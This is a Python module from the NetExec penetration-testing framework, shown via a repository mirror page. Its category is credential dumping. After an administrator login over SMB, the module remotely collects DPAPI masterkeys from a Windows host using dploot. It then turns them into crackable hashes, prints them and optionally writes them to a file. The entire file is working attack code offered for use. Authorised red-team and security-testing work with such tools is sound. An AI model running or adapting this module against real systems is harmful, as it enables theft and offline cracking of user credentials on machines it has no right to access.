mirror of
https://github.com/Pennyw0rth/NetExec
synced 2026-06-06 16:34:30 +00:00
Alexander Neff
64 lines
2.6 KiB
Python
64 lines
2.6 KiB
Python
from dploot.lib.target import Target
|
|
from dploot.triage.masterkeys import MasterkeysTriage
|
|
from nxc.helpers.misc import CATEGORY
|
|
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
|
|
|
# Based on dpapimk2john, original work by @fist0urs
|
|
|
|
|
|
class NXCModule:
|
|
name = "dpapi_hash"
|
|
description = "Remotely dump Dpapi hash based on masterkeys"
|
|
supported_protocols = ["smb"]
|
|
category = CATEGORY.CREDENTIAL_DUMPING
|
|
|
|
def options(self, context, module_options):
|
|
"""OUTPUTFILE Output file to write hashes"""
|
|
self.outputfile = None
|
|
if "OUTPUTFILE" in module_options:
|
|
self.outputfile = module_options["OUTPUTFILE"]
|
|
|
|
def on_admin_login(self, context, connection):
|
|
username = connection.username
|
|
password = getattr(connection, "password", "")
|
|
nthash = getattr(connection, "nthash", "")
|
|
|
|
target = Target.create(
|
|
domain=connection.domain,
|
|
username=username,
|
|
password=password,
|
|
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
|
lmhash=getattr(connection, "lmhash", ""),
|
|
nthash=nthash,
|
|
do_kerberos=connection.kerberos,
|
|
aesKey=connection.aesKey,
|
|
no_pass=True,
|
|
use_kcache=getattr(connection, "use_kcache", False),
|
|
)
|
|
|
|
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
|
if conn is None:
|
|
context.log.debug("Could not upgrade connection")
|
|
return
|
|
|
|
try:
|
|
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
|
masterkeys_triage = MasterkeysTriage(
|
|
target=target,
|
|
conn=conn,
|
|
)
|
|
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
|
context.log.debug("Collecting user masterkeys")
|
|
masterkeys_triage.triage_masterkeys()
|
|
if self.outputfile is not None:
|
|
with open(self.outputfile, "a+") as fd:
|
|
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
|
context.log.highlight(mkhash)
|
|
fd.write(f"{mkhash}\n")
|
|
else:
|
|
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
|
context.log.highlight(mkhash)
|
|
|
|
except Exception as e:
|
|
context.log.debug(f"Could not get masterkeys: {e}")
|